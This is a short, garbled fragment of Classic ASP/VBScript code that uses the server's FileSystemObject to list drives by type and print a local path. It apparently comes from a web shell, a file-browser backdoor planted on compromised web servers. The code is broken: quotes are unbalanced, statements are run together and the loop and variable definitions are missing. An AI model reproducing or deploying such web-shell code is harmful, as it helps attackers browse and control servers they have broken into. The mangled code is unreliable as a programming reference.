%@ LANGUAGE = VBScript.Encode%>
<%
%>
<%
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Response.Write "
Drives |
" Response.write ";" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" Response.Write " |
" Response.write "H Local Path" Response.Write " |